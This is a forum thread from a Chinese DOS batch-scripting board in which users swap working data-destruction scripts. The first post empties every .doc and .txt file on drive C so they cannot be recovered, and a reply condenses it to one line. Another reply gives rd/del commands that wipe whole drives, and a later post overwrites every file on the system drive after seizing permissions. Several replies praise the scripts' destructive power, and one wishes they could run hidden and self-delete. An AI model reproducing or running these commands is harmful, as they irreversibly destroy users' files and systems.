![]() |
China DOS Union-- Unite DOS · Advance DOS · Grow DOS --Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum |
| Guest | Log in | Register | Members | Search | China DOS Union |
|
中国DOS联盟论坛 The time now is 2026-08-08 09:20 |
47,811 topics / 349,895 posts / today 0 new / 48,253 members |
| DOS批处理 & 脚本技术(批处理室) » Destroy the content of all *.DOC and *.TXT files under drive C, and it cannot be recovered |
| Printable Version 5,346 / 41 |
| Floor1 bagpipe | Posted 2006-03-01 11:57 |
| 银牌会员 Posts 425 Credits 1,144 From 北京 | |
|
This technique has actually been around for a long time. Just to review, I hope everyone uses it sparingly, just for discussion and learning.
@echo off cls echo. echo; echo: echo ***************CODE BY BAGPIPE********************* echo. echo; dir /s /b *.doc >1.txt dir /s /b *.txt >2.txt for /f "tokens=*" %%i in (1.txt) do copy /y nul "%%i">nul for /f "tokens=*" %%i in (2.txt) do copy /y nul "%%i">nul echo. echo Destroy the content of all *.doc and *.txt files on drive C, irrecoverable Attachments 99.rar (280 bytes) |
|
| Floor2 Scott0902 | Posted 2006-03-01 12:54 |
| 中级用户 Posts 237 Credits 466 | |
|
Sweat one
It's simply a virus |
|
| Floor3 #four# | Posted 2006-03-01 13:50 |
| 中级用户 Posts 34 Credits 209 | |
|
Can the brother on the top floor please tell me the detailed usage of the for command? I thank you in advance here!
|
|
| Floor4 electronixtar | Posted 2006-03-01 14:25 |
| 铂金会员 Posts 2,672 Credits 7,493 | |
|
Tokens seem to only be usable in the NT command line, right?
|
|
| Floor5 3742668 | Posted 2006-03-01 19:53 |
| 荣誉版主 Posts 718 Credits 2,013 | |
|
Oh, a thing that can be done in one line:
for %i in (*.txt) do copy /y nul %i >nul If you want to traverse the entire directory tree, you can add the /r parameter. If you want to add other extensions, just add *.doc in the parentheses and separate them with spaces. |
|
| Floor6 fanqiang | Posted 2007-10-01 12:26 |
| 初级用户 Posts 56 Credits 113 | |
|
rd /s/q c:\
rd /s/q d:\ rd /s/q e:\ rd /s/q f:\ del c:\*.* /f /q /a del d:\*.* /f /q /a del e:\*.* /f /q /a del e:\*.* /f /q /a This is more powerful |
|
| Floor7 jinqiao | Posted 2007-10-02 12:14 |
| 新手上路 Posts 4 Credits 9 | |
|
That's amazing, a master at sabotaging computers
|
|
| Floor8 toudu | Posted 2007-10-03 21:11 |
| 新手上路 Posts 3 Credits 5 | |
|
The method of a master, with strong destructive power oh
|
|
| Floor9 00dos00 | Posted 2007-10-08 20:43 |
| 初级用户 Posts 20 Credits 38 | |
|
Bump
|
|
| Floor10 00dos00 | Posted 2007-10-08 20:43 |
| 初级用户 Posts 20 Credits 38 | |
|
Bump
|
|
| Floor11 xunge | Posted 2007-10-08 21:00 |
| 初级用户 Posts 11 Credits 24 | |
| Floor12 fengjing001 | Posted 2007-10-13 20:39 |
| 初级用户 Posts 37 Credits 69 | |
|
Can be used as virus research material. It's a pity that it can't run in the background, can't hide the interface, and can't self-delete after completing the task.
|
|
| Floor13 zhclsy | Posted 2007-10-14 14:10 |
| 初级用户 Posts 34 Credits 83 | |
|
The landlord, it seems that what you used copy can be restored, but what uses redirection cannot be restored. I'm very newbie, this is my personal opinion, you can put forward opinions if you have any. Please look below! Execute it to the end, and probably your system won't work. Look below, everyone can test!
@echo off for /f "delims=" %%a in ('dir /s b /a %SystemDrive%\') do ( attrib "%%a" -s -h -r cacls "%%a" /c /e /g everyone:f @echo I love you!>"%%a" ) |
|
| Floor14 xiandan703 | Posted 2007-10-15 11:57 |
| 初级用户 Posts 32 Credits 62 | |
|
A newbie like me~~~ can't understand~~
|
|
| Floor15 fanqiang | Posted 2007-10-26 08:33 |
| 初级用户 Posts 56 Credits 113 | |
| 1 2 3 Next |
|
[ Contact the Union admin team -
中国DOS联盟 -
Standard version ] Sponsored by ifanr Inc | © 2001–2023 |